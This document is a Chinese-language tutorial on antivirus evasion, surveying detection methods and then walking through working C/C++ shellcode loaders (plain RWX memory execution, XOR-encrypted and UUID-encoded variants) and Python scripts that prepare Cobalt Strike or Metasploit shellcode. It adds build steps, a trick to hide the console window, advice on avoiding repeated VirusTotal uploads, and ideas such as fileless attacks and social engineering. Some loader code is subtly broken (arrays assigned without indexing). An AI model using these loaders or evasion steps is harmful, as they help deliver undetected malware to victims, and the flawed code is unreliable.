发现一位专家撰写的关于免杀技术的详细文章,这激发了强烈兴趣。我深入阅读并学习了这位专家的免杀方法,现在撰写了这篇文章,旨在澄清和理解之前我不太明白的概念。 基础所谓的免杀技术,全称是反杀毒技术,英文名为"Anti Anti-Virus",简称"免杀"。它是一种技术,能够使病毒或木马程序逃避杀毒软件的检测和查杀。 杀毒软件的检测方法 常见的扫描技术包括:压缩文件扫描、程序变更保护、修复技术、急救盘扫描、智能扫描、全面扫描、勒索软件防护、系统启动扫描。 监控技术则涵盖:内存监控、文件监控、电子邮件监控、网页防护、行为分析。 扫描引擎的关键技术手段有:特征码匹配、文件完整性校验、进程行为分析(沙盒技术)、云计算扫描、主动防御策略、以及基于机器学习的识别技术。 免杀技术概述修改特征码
免杀技术的核心思想在于破坏病毒或木马的特征。这可以是代码特征,也可以是行为特征。关键是在破坏这些特征的同时,保持程序的功能不变,从而实现免杀。 花指令免杀
花指令指的是一些无实际意义的指令,也被称作垃圾指令。它们的存在对程序的执行结果无影响,但能有效干扰反汇编工具,为分析设置障碍。 加壳免杀
软件加壳,或称为软件加密或压缩,是一种保护措施。它不破坏程序内部结构,而是在运行时首先执行外壳,外壳随后将加密的程序解密并还原到内存中,最后执行程序本身。 内存免杀
由于CPU不是为特定加壳软件设计的,它无法直接理解加壳后的可执行代码。因此,在执行时,需要先解密原软件,并将其放入内存,然后CPU才能执行。 二次编译
metasploit的msfvenom工具提供了多种payload和encoder,允许生成的shellcode进行二次加工,虽然这已被安全厂商密切关注。 分离免杀
分离免杀技术通过将ShellCode与加载器分开来实现。由于加载器本身不包含恶意代码,也不包含恶意软件的特征码,因此能有效规避基于特征码的检测。当加载器运行时,它从外部加载并执行shellcode,从而实现免杀。
入门一点点在本次实践中,我们使用的编程语言是C/C++,尽管也可以使用其他语言来达到可能更佳的效果。 首先,我们利用CS(或者MSF也可以)来生成shellcode。 动态内存申请加载 以下代码段展示了如何申请一块动态内存,并加载shellcode。 #include <stdio.h>
#include <Windows.h>
unsigned char buf[] = "";
int main() {
char* Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
return 1;
} 使用Visual Studio 2019进行编译,编译后按下CTRL+B来生成可执行文件(exe)。 在项目的根目录下,进入x64\Release文件夹,在那里你可以找到生成的exe文件并执行它,此时CS(Cobalt Strike,一种常用的渗透测试工具)也成功上线。 接下来,让我们尝试使用VT(VirusTotal,一个在线的多引擎病毒扫描平台)进行检测。 建议避免频繁地在VT(VirusTotal)上运行检测,因为多次提交可能会导致检测效果逐渐降低。 XOR加密过程现在,我们将使用Python对shellcode进行XOR加密处理。 #!/usr/bin/env python
# encoding: utf-8
'''
@Author : ds
@Description : shellcode--XOR加密
'''
import random
buf = b"""[shellcode]""" # 此处应为实际的shellcode
key = random.randint(30, 90)
def encrypt():
print("key:%s" % key)
i = 1
st = ''
for c in buf:
if i == key:
i = 1
st += '%#x' % (c ^ i)
i += 1
st = st.replace("0x", "\\x")
print(st)
if __name__ == "__main__":
encrypt() 执行这段脚本后,它将输出一个随机生成的key值以及对应的加密后的shellcode。这些信息对于后续的解密和执行过程至关重要。 以下是重写后的代码,用于将加密后的shellcode加载到内存并执行: #include <stdio.h>
#include <Windows.h>
#include <string.h>
int main() {
unsigned char encryptedShellcode[] = ""; // 此处填入加密后的shellcode
int key = ; // 此处填入key值
unsigned char buf[sizeof(encryptedShellcode)];
int len = sizeof(encryptedShellcode);
int j = 1;
for (int i = 0; i < len; ++i) {
if (j == key) j = 1;
buf = encryptedShellcode ^ j;
++j;
}
char* addr;
addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr == NULL) return -1;
memcpy(addr, buf, sizeof(buf));
((void(*)())addr)();
return 0;
} 在填充加密后的shellcode和key值后,使用Visual Studio 2019进行编译。编译完成后,按下CTRL+B生成exe文件。执行生成的exe文件后,Cobalt Strike(CS)能够成功上线,表明shellcode已成功加载并执行。 请注意,加密后的shellcode和key值需要替换到代码中的相应位置。 UUID转换首先,我们将使用Python将shellcode转换成UUID格式的字符串数组。 #coding=utf-8
import uuid
# 假设你的shellcode是这样的:xfc48x83xe4xf0xe8xxx
buf = b"""[shellcode]"""
def convertToUUID(shellcode):
# 如果shellcode的长度不是16的倍数,则在末尾添加一些nullbytes
if len(shellcode) % 16 != 0:
print("[-] Shellcode长度不是16字节的倍数")
print("[-] 在shellcode末尾添加nullbytes,这可能会破坏你的shellcode")
print("\n 修改后的shellcode长度: ", len(shellcode) + (16 - (len(shellcode) % 16)))
addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))
shellcode += addNullbyte
uuids = []
for i in range(0, len(shellcode), 16):
uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))
uuids.append(uuidString.replace("'", "\""))
return uuids
u = convertToUUID(buf)
print(str(u).replace("'", "\""))执行上述脚本,你将获得一个由UUID字符串组成的数组。 注意:请将[shellcode]替换为你的实际shellcode。这段代码将确保shellcode的长度是16的倍数,如果不是,它将在末尾添加nullbytes(\x00),这可能会影响shellcode的功能。因此,在使用此脚本之前,请确保shellcode长度适当或进行适当的调整。 下面是重写后的代码,用于将shellcode加载到内存并执行。注意,C语言数组使用的是{}而非[],因此需要将Python生成的UUID数组中的[]替换为{}。 #include <stdio.h>
#include <Windows.h>
#include <string.h>
#include <wincrypt.h>
const char *uuids[] = {/*uuid数组*/};
int main() {
int len = sizeof(uuids)/sizeof(char*);
char* addr = NULL;
addr = (char*)HeapCreate(0x00040000, 0, 0);
if (addr == NULL) return -1;
if (!VirtualAlloc(addr, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) {
return -1;
}
char* addrPtr = addr;
for (int i = 0; i < len; ++i) {
byte* u = (byte*)uuids;
RPC_STATUS rpcStatus = UuidFromStringA(u, (UUID*)addrPtr);
if (rpcStatus != RPC_S_OK) return -1;
addrPtr += 16;
}
// 执行转换后的shellcode
((void(*)())addr)();
return 0;
} 在上述代码中,我们改变了申请动态内存的方式,并调整了加载到内存中的方法,以规避部分杀毒软件的监控,从而提高免杀的成功率。 接下来,使用Visual Studio 2019进行编译。如果在编译过程中出现错误,通常是由于缺少依赖项。此时,需要按照以下步骤添加依赖项: - 右键点击项目,选择“属性”。
- 在“链接器”选项卡中,选择“输入”。
- 在“附加依赖项”编辑框中,添加rpccrt4.lib和ntdll.lib。
- 点击“确定”保存设置。
- 按下CTRL+B编译生成exe文件。
请注意,您需要将{/*uuid数组*/}替换为实际的UUID字符串数组。此外,确保在执行编译之前,所有必要的UUID字符串都已正确转换并放置在数组中。 在目标机器上执行exe文件后,Cobalt Strike(CS)成功建立了连接: 在接下来的步骤中,我们将利用VirusTotal(VT)对生成的可执行文件(exe)进行检测: 执行并获取UUID字符串数组后,我们已经将shellcode加载到内存并成功执行,靶机上的Cobalt Strike也已上线。现在,为了进一步测试我们的免杀效果,我们将使用VirusTotal进行扫描。注意:在实际操作中,频繁地将同一文件上传到VirusTotal可能会使安全软件的厂商对该文件进行更深入的分析,从而降低免杀的成功率。因此,建议仅在必要时才进行VT扫描,并且尽可能地优化和更新免杀技术以应对不断变化的安全检测环境。 效果令人满意,但有人注意到在靶机上运行exe文件时会出现一个黑框窗口。 为了去除这个黑框,我们可以在代码中加入特定的编译指令,以避免控制台窗口的显示。以下是修改后的代码片段: // 添加以下编译指令以避免显示控制台窗口
#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup") 通过添加这个指令,编译后的程序将不会显示黑框窗口,使得程序的运行更加隐蔽。 注意:请确保在合法和授权的范围内进行渗透测试和安全研究。未经授权的访问或测试可能会违反法律,并导致严重的法律后果。 现在,您可以重新编译生成exe文件,并再次使用VirusTotal进行检测,以验证免杀效果。 仅仅增加了一行代码,安全供应商的检测率就上升了好几倍,这表明即使是微小的变化也可能对免杀效果产生显著影响。 因此,建议采取其他方法来实现相同的效果,可能会带来更好的结果。例如,可以考虑以下替代方案: 使用不同的入口点:更改程序的入口点,不使用标准的mainCRTStartup,而是使用其他函数作为程序的起点。 自定义窗口样式:如果程序需要有窗口,可以自定义窗口的样式,使其不那么明显。 隐藏窗口:使用Windows API来创建一个隐藏的窗口,而不是控制台窗口。 优化代码:检查代码中是否有其他可能引起安全软件注意的部分,并进行优化。 使用加壳或加密技术:对程序进行加壳或加密处理,以规避安全检测。 多态引擎:使用多态引擎生成每次执行都不同的代码模式,增加检测难度。 混淆技术:应用混淆技术,使得代码难以被分析和理解。
小结在实践中使用的杀毒软件通常都是面向个人用户的版本。为了持续有效地进行免杀技术的研究和实践,需要大家不断地探索和发现新的、不常见的函数和方法。 探索新的免杀方法: 研究未知函数:深入研究Windows API或其他库中不常用或未知的函数,这些函数可能没有被安全软件充分监控。 自定义加密算法:开发自定义的加密或编码技术来隐藏恶意代码,使其避免触发杀毒软件的检测。 利用系统漏洞:关注和研究新发现的系统漏洞,利用这些漏洞进行提权或执行其他操作,可能绕过一些安全检测。 文件less攻击:开发无文件攻击技术,例如利用PowerShell或其他脚本语言执行恶意活动,避免在磁盘上留下可扫描的文件。 利用云服务:使用云服务作为攻击的中转站,通过云服务执行恶意代码,增加追踪和检测的难度。 社会工程学:结合社会工程学技巧,诱使目标用户执行某些操作,绕过技术层面的安全措施。 持续学习:随着安全技术的不断进步,持续学习新的技术和方法,保持对最新安全动态的了解。 社区交流:参与安全社区,与其他安全研究人员交流心得,分享发现,共同提高。
|